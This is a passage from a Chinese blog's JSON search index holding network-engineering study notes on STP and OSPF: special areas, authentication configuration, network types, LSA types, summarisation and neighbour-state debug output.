步骤四:阻塞端口(SW3上的0/2号端口和SW4上的0/2号端口) 最后的STP生成拓扑图 结论:在根网桥上的所有端口都是指定端口,同一个交换机(除了根网桥)上的端口只能属于一种端口,不可能是根端口同时兼指定端口 PS:最需要注意的是 根端口选举是根据 端口到根桥的cost,而指定端口选举是根据该网桥到根桥的cost","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]},{"title":"【OSPF】特殊区域和认证方式","date":"2016-10-24T15:18:48.000Z","path":"/网络工程/OSPF特殊区域和OSPF认证方式/","text":"【OSPF】特殊区域和认证方式ospf 特殊区域的实质是为了减少区域内路由表条目的数量 stub area 区域 规则:1.当stub area中有多个ABR,会同时下放默认路由这时要通过cost值来进行选路或者负载均衡 2.一旦区域被标示为stub area那么stub area内所有路由器均要配置stub标示(Hello包建邻居要求) 3.在stub area中不能存在ASBR 4.stub area不能是area 0 (骨干区域) 5.作为stub area无法再外挂其他区域(如:虚链路技术) 命令: 在区域内所有路由器: router ospf 110 area 1 stub area 1 default-cost 10 (手动设置下放默认路由的cost用于选路默认为1) 立刻生效作用:过滤4/5类LSA(外部路由) 主动下放默认路由: [O IA]下放3类默认路由 seed cost = 1(初始cost值) totally stubby Area (完全末节区域)在末节区域基础之上 规则:1.Cisco私有区域 2.stub area的规则适用于totally stub area 3.只需比stub area在ABR上area 1 stub no-summary 命令: 在stub区域的ABR路由器: router ospf 110 area 1 stub no-summary area 1 default-cost 10 (手动设置下放默认路由的cost用于选路默认为1) 立刻生效作用:过滤3/4/5类LSA(域间和域外路由) 主动下放默认路由: [O IA]下放3类默认路由 seed cost = 1(初始cost值) Not-So-stubby Areas NSSA区域 ‘不那么末节的区域’ 规则:1.可以存在ASBR 2.引入外部路由但又要过滤从域间传来的5类LSA 3.产生7类LSA(只在NSSA区域传播) - link ID 路由 - ADV router 路由产生者的RID 命令: 在区域内所有路由器: router ospf 110area 2 nssa 作用:过滤4/5类LSA 产生7类LSA(在区域再引入外部又不能存在5类所以为7类)到其他区域会以7类转5类LSA形式传播 手动下放默认路由: 下放一条ON2 7类LSA默认路由在NSSA区域的ABR的路由进程中 area 2 nssa default-information-originate (seed cost = 1 O N2 不累加cost) totally stubby Not-So-stubby Areas ‘完全的NSSA区域’在NSSA区域基础之上 命令: 在NSSA区域内ABR路由器: router ospf 110area 2 nssa no-summary 作用:过滤3/4/5类LSA 产生7类LSA(在区域再引入外部又不能存在5类所以为7类)到其他区域会以7类转5类LSA形式传播 主动下放默认路由: [O IA]下放3类默认路由 seed cost = 1(初始cost值) NSSA扩展: 当NSSA区域的ABR 重分布外部路由:1.普通区域接受到的是正常外部5类LSA路由E2 2.NSSA区域接受到的是7类LSA路由N2 在NSSA区域的ABR路由进程 优选做法area 2 nssa no-redistrubution no-summary 过滤nssa中的N2路由 因为NSSA区域已经存在默认路由 不规则区域: 1.远离area 0 2.分隔的area 0 (多area 0 常用于割接) 解决不规则区域: 1.远离area 0 1)多进程的双向重分布 在ABR上建立2个进程分别重分布OSPF不同进程 同一路由器: router ospf 110 network 13.1.1.0 0.0.0.255 area 2 redistribute ospf 100 subnets router ospf 100 network 35.1.1.0 0.0.0.255 area 3 redistribute ospf 110 subnets 2)Tunnel隧道 在area 0和area 3最近的路由器上做隧道 int tunnel 1 tunnel source 13.1.1.1 tunnel destination 13.1.1.3 ip add 172.16.1.1 255.255.255.0 自建ip地址 int tunnel 1 tunnel source 13.1.1.3 tunnel destination 13.1.1.1 ip add 172.16.1.2 255.255.255.0 自建ip地址 靠近area 0的路由器 把tunnel宣告进area 0 router ospf 110 network 172.16.1.0 0.0.0.255 area 0 靠近area 3的路由器 把tunnel宣告进area 0 router ospf 110 network 172.16.1.0 0.0.0.255 area 0 3)Defining Virtunal Links 虚链路 通过1类LSA知道RID再找到直连路由信息 建立虚链路 area 2 virtual-link 3.3.3.3 对方RID area 2 virtual-link 1.1.1.1 show ip ospf virtual-links adjacency state FULL 状态成功 OSPF authentication Types ospf认证方式 认证分2个步骤:1.启动秘钥 2.启动认证 认证强度:1.simple 2.md5 认证应用方式: 1.link authentication 链路认证 在链路两端的接口配置: 1)int s0/0 ip ospf authentication-key cisco 启动明文秘钥 ip ospf authentication 启动明文认证 2)int s0/0 ip ospf message-digest-key 1 md5 cisco 启动密文秘钥 ip ospf authentication message-digest 启动密文认证 2.area authentication 区域认证 在接口下启动明文秘钥 1)int s0/0 ip ospf authentication-key cisco 在路由进程中启动区域认证 router ospf 110 area 1 authentication 在接口下启动密文秘钥 1)int s0/0 ip ospf message-digest-key 1 md5 cisco 在路由进程中启动密文区域认证 router ospf 110 area 1 authentication message-digest 3.virtual link authentication 虚链路认证 明文认证在路由进程中 area 2 virtual-link 3.3.3.3 authentication-key cisco area 2 virtual-link 3.3.3.3 authentication 密文认证在路由进程中 area 2 virtual-link 3.3.3.3 message-digest-key 1 md5 cisco area 2 virtual-link 3.3.3.3 authentication message-digestPS:当存在虚链路的环境要求做area 0认证需要在tunnel接口下也开启明文/密文配置 在虚链路对端路由器在路由进程中开启认证area 0 authentication 因为tunnel将R3接到了area 0 上 其他知识点等价负载均衡默认:maxumum-paths 4router ospf 110 maxumun-paths 6 最大 被动接口 (常用于loopback口)不收发OSPF报文不代表其他路由器收不到路由被动接口只是将network命令的第一条发送hello包过滤 **network 命令的作用:1.发送hello包 2.通告路由** router ospf 110 passive-interface loopback 0","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]},{"title":"【OSPF】网络类型介绍","date":"2016-10-24T15:18:48.000Z","path":"/网络工程/OSPF网络类型介绍/","text":"【OSPF】网络类型介绍OSPF网络类型是物理接口的一种属性 - OSPF network types 默认接口 特点 1.Loopback Loopback 32位 2.Point-to-Point Serial/ 组播/无DR FR's P2Psub-if 3.Broadcast Ethernet 组播/选DR 4.NBMA FR's Physical/ 单播/选DR FR's MPsub-if 5.P2MP ------------ 组播/无DR/32位直连接口路由 6.P2MP NBMA ------------ 单播/无DR/32位直连接口路由hello包时间间隔 broadcast/Point-to-Point 10S 40S dead时间NBMA/Point-to-multipoint/Point-to-multipoint nonbroadcast 30S 120S dead时间 二种不同网络类型建立邻居需要修改hello包间隔时间(config-if)ip ospf hello-intrval 30","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]},{"title":"【OSPF】理解不同区域LSA(链路状态通告)","date":"2016-10-23T15:18:48.000Z","path":"/网络工程/OSPF理解不同区域LSA(链路状态通告)/","text":"#【OSPF】理解不同区域LSA(链路状态通告) OSPF协议中LSA的作用是构造拓扑表,根据拓扑表利用SPF算法计算出最优路由放入路由表 LSA里面的信息包括:自己的RID,邻居的RID,我到这条链路的带宽,我的邻居到这条链路的带宽,路由条目,掩码等信息。 LSA共分为7类这里暂时介绍5类 同一区域LSDB数据库一致 研究LSA从三方面看:1.传播范围 2.通告者 3.内容 其中和路由有关系的有:LSA1 域内路由 LSA3 域间路由 LSA5 域外路由 LSA type 1 :Router LSA 每台运行OSPF协议路由器都会产生LSA type 1 传播范围:只能在本区域传播通告者:就是每台路由器内容:点对点拓扑信息,直连接口路由, 另外:连接到MA网络的拓扑信息(a transit network)只获取到metric和网络号,没有掩码就构不成路由 标识自身路由器的位置关系如:ABR ASBR 使用命令: show ip ospf database router link state ID: 该路由器RID ADV router: 该路由器RID LSA type 2 :Network LSA MA网络类型才会出现type 2 LSA 传播范围:只能在本区域传播通告者:DR通告2类LSA(指定路由器)内容:本网段网络掩码,描述区域内有运行OSPF路由器数量(根据RID显示列表), show ip ospf database networklink state ID: DR's 连接接口ip ADV router: DR's RID PS:当MA网络中新增一台路由器时,获取R1和R2直接的路由是通过LSA 2的掩码+LSA 1的网络位和metrictransit = MAADV = advertising 通告 LSA type 3 : Summary LSA 跨区域产生只为路由产生的LSA 传播范围:整个AS通告者:ABR(每个区域边界路由器)内容:路由(汇总LSA1+LSA2 域间路由) show ip route O IA = ospf inter area route show ip ospf database summarylink state ID: Route(域间路由) ADV router: ABR's RID((根据区域变化)) LSA type 4: Summary ASB LSA 告诉其他区域ASBR所在位置 传播范围:传播AS域,除了ASBR所在区域因为LSA1会传播ASBR位置通告者:ASBR区域内的ABR产生内容:非路由 只为找到ASBR位置 show ip ospf database asbr-summarylink state ID: ASBR's RID ADV router: ABR's RID(根据区域变化) LSA type 5 : External LSA传播范围:整个AS通告者:ASBR(as边界路由器)内容:AS区域外路由 show ip routeO E2 = ospf external type 2(不累加cost值) 重分布默认20 O E1 = ospf external type 1(累加cost值) show ip ospf database externallink state ID: Route(域外路由) ADV router: ASBR's RID PS:只要能产生5类LSA就被认定为ASBR命令介绍 max-lsa 限制LSA数量 (config-if)#ip ospf cost interface-cost 设置ospf cost值 show ip ospf border-routers 查看路由器的边界路由器 auto-cost reference-bandwidth(参考带宽) ref-bw 默认100Mps = 10的8次方bps 修改参考带宽的理由: 10M BW cost 10 100M BW cost 1 1000M BW cost 1 由于1000M已经是小数了所以取1那就体现不出100M和1000M的cost值 所以会去修改参考带宽10的8次方更多 show命令: [转载]http://itcopper.blog.51cto.com/3037339/557896 ospf路由汇总要素1.基于进程 2.本地指向null 0 3.当明细消失汇总也会消失 4.选择最小明细域间汇总 在本区域所有ABR上汇总202.96.16.0/24 202.96.17.0/24 202.96.18.0/24 202.96.19.0/24 route ospf 110 area 0 range 202.96.16.0 255.255.255.252.0(区域号为明细路由所在区域) area 0 range 202.96.16.0 255.255.255.252.0 not-advertise(不宣告) **可用于安全策略阻止路由比如只允许访问前2个网段 拒绝后2个路由网段** show ip route | include 202 查询指定包含字符 域外汇总 在ASBR上做 198.8.8.5/24 198.8.9.5/24 router ospf 110 summary-address 198.8.8.0 255.255.254.0 后续参数 not-advertise(不宣告)同上 tag 设置标记区分 向ospf区域注入默认路由( 下放的是5类外部路由) 1.default-information originate(进程) 需要主动写默认路由才能下放成功且路由标示0 E2 cost为12.default-information originate always 无需自己写默认路由","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]},{"title":"【OSPF】协议特点基础笔记","date":"2016-10-22T15:18:48.000Z","path":"/网络工程/OSPF基础笔记/","text":"[OSPF]协议特点基础笔记OSPF(Open Shortest Path First开放式最短路径优先/接口敏感型协议)是一个内部网关协议: 链路(LINK)= 路由器接口状态(state)= 描述接口以及其邻居路由器之间的关系 特点:IGP内部网关路由协议 链路状态型协议(link-State) 支持无类VLSM CIDR OSPF报文封装在IP报文中三层协议无端口所有有协议号89 组播224.0.0.5/224.0.0.6(MA多路访问网络) 说道距离矢量和链路状态协议区别:PS :DV = Distance Vector (距离矢量) LS = Link status (链路状态) DV和LS比较1.LS协议和DV协议最根本的区别是 LS协议会获取该路由的详细拓扑信息 2.即使EIGRP所谓拓扑表为只有路由信息并无topology信息 3.DV协议总是以传闻的方式去直接获取路由只知晓从哪个接口收到路由 4.LS协议必须分层(划分区域)而DV协议不需要 再说说LS协议划分区域的好处:1.减少路由条目(域间汇总) 2.本地拓扑变化只会影响一个区域(汇总后明细down不会影响其他区域) 3.LSA细节化(节省带宽) 分层要点: area 0 (传输区域 骨干区域) 只要一个接口在area0 backbone routers(骨干路由器->area0) ABR(area border router) 所有区域必须和area 0相接如果不是则需要其他技术 OSPF建立邻接关系的过程:HELLO(建邻居) -> link-state database (存放LSA) -> SPF算法(树形结构无环) -> 路由表(最优路由) topology table (路由+拓扑) down state(关闭状态)1. 尚未交互信息 OSPF: Interface Serial1/0 going Up OSPF: rcv. v:2 t:1 l:48 rid:2.2.2.2 aid:0.0.0.0 chk:E694 aut:0 auk: from Serial1/0 ————————->224.0.0.5—– init state(初始化状态)1. 开始发送HELLO包(自己Route ID) OSPF: rcv. v:2 t:1 l:48 rid:2.2.2.2 aid:0.0.0.0 chk:E694 aut:0 auk: from Serial1/0 Two-way state(双向状态)1. 收到一个HELLO包,发现自己route ID OSPF: 2 Way Communication to 2.2.2.2 on Serial1/0, state 2WAY 扩展:到这里2个接口已经是neighbor(邻居)但是要达到adjacency(邻接)关系需要按下面要求: 1. neighbor只交互了HELLO包 2. adjacency交互了LSA才能形成 3. 邻接一定是邻居反之不是————MA网络(选举DR/BDR通过HELLO报文)和P2P网络———— 扩展:OSPF网络类型: 1.Point-to-Point WAN links:所有邻居都会成为邻接关系 MA网络: 1. BMA (以太网) 2. NBMA (帧中继) 由于多路访问使得频繁建立邻接关系组播流量庞大 为了减小发送LSA频率(寻找班长和副班长) DR: designated 指定路由器 BDR: backup 备份路由器 DROTHERS和DR,BDR形成adjacency DROTHERS and DROTHERS只形成tow-way(交互完HELLO包) MA网络建立邻居 224.0.0.5 DR/BDR发送信息 224.0.0.6 DRothers监听与DR/BDR发送信息 当拓扑变动drothers通过.6组播发送给DR/BDR DR选举顺序: 1.较大的pirority (default=1) 2.较大的route ID DR/BDR选举特点: 1.**DR/BDR非抢占** 2.当DR 接口 down BDR变成DR DRothers再选BDR 3.DR/BDR/DROTHER是接口概念(接口敏感性协议) 4.不同网段分别选DR exstart state1.互发Route ID选择主从关系(first DBD包) 发送DBD是会附带序列号和标示: init More master/Slave 隐式确认: 1.根据主路由器的序列号 发送:Send DBD to 2.2.2.2 on Serial1/0 seq 0x606 opt 0x52 flag 0x7 len 32 接收:rcv. v:2 t:2 l:32 rid:2.2.2.2 aid:0.0.0.0 chk:7E02 aut:0 auk: from Serial1/0 Rcv DBD from 2.2.2.2 on Serial1/0 seq 0x23F4 opt 0x52 flag 0x7 len 32 mtu 1500 state EXSTART NBR Negotiation Done. We are the SLAVE 本地R1 route ID : 1.1.1.1 所以为slave同步为master序列号0x23F4 扩展 LSA序列号(sequence numbering): 1.线性(从小到大) 2.圆形 3.棒棒糖(线性(负)和圆形的结合) exchange state1.交互DBD目录 Send DBD to 2.2.2.2 on Serial1/0 seq 0x23F4 opt 0x52 flag 0x0 len 32 rcv. v:2 t:2 l:52 rid:2.2.2.2 aid:0.0.0.0 chk:990E aut:0 auk: from Serial1/0 Rcv DBD from 2.2.2.2 on Serial1/0 seq 0x23F5 opt 0x52 flag 0x3 len 52 mtu 1500 state EXCHANGE Send DBD to 2.2.2.2 on Serial1/0 seq 0x23F5 opt 0x52 flag 0x0 len 32 rcv. v:2 t:2 l:32 rid:2.2.2.2 aid:0.0.0.0 chk:7E06 aut:0 auk: from Serial1/0 OSPF: Rcv DBD from 2.2.2.2 on Serial1/0 seq 0x23F6 opt 0x52 flag 0x1 len 32 mtu 1500 state EXCHANGE OSPF: Exchange Done with 2.2.2.2 on Serial1/0 MTU 1500 相同在DBD报文中所以这也是达到FULL的条件(Maximum Transmission Unit 最大传输单元) loading state1.交互LSR LSU Rcv LS UPD from 2.2.2.2 on Serial1/0 length 64 LSA count 1 扩展: LSA接收方式: 1. 不存在该LSA->add to database -> Send LSACK->Flood LSA->calculate放入路由表 2. 收到相同LSA->比较序列号判断新旧->相同丢弃/不同则回溯源端LSU OSPF算法(dijkstra's SPF): every router in an area has the identical link-state database 在同一区域内的每台路由器都有统一链路数据库 每台路由器以自己为根计算一个树形最优无环路径 cost = 10^8/带宽(bps) 10^8/1.544*10^6 = 64 10^8 = 100M 1.544是T1链路的速率Mbps **路由方向入接口相加就是到达链路的cost值** **数据方向出接口相加就就是达到链路的cost值** Full state 1. lsack Synchronized with 2.2.2.2 on Serial1/0, state FULL 扩展: OSPF更新方式 1. 触发更新 2. 周期更新(每30分钟泛洪/60分钟老化) OSPF报文内容和类型 [ospf packet types] 1)Version Number(OSPF版本号) 2)Type 1.HELLO HELLO 包含内容: 1.router ID 2.hello and dead intervals * 1) 10S/40S Point-to-Point 2) 30s/120s MA 3.neighbors 4.area ID* 5.router priority 6.DR ip address 7.BDR ip address 8.authentication password* 9.stub area flag * PS: *部分一致才能建立邻居 2.DBD database Description 1. LSA摘要-目录 2. 隐式确认序列号同步 3. MTU需要一致(最大传输单元 单位:字节 英文:Maximum Transmission Unit) 3.LSR Link-state Request 1.发送需要LSA的摘要信息 4.LSU Link-state Update 1.更新给对方对应的详细LSA信息 5.LSACK Link-state Acknewledgment 1.LSACK只对LSU确认 3)Packet Length 4)Route ID 1)选举方式: 1.手工指定(任意,唯一标示) 2.loopback口最大的IP地址 3.物理接口最大的IP地址 5)Area ID 6)Check-sum 7)authen-tication Type 1.无 2.明文 3.密文 8)authen-tication(秘钥) Data","tags":[],"categories":[{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}]}],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"name":"漏洞挖掘","slug":"漏洞挖掘","permalink":"http://yoursite.com/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"},{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://yoursite.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"},{"name":"渗透工具","slug":"渗透工具","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7/"},{"name":"环境搭建","slug":"环境搭建","permalink":"http://yoursite.com/categories/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"},{"name":"编程记录","slug":"编程记录","permalink":"http://yoursite.com/categories/%E7%BC%96%E7%A8%8B%E8%AE%B0%E5%BD%95/"},{"name":"网络工程","slug":"网络工程","permalink":"http://yoursite.com/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/"}],"tags":[]}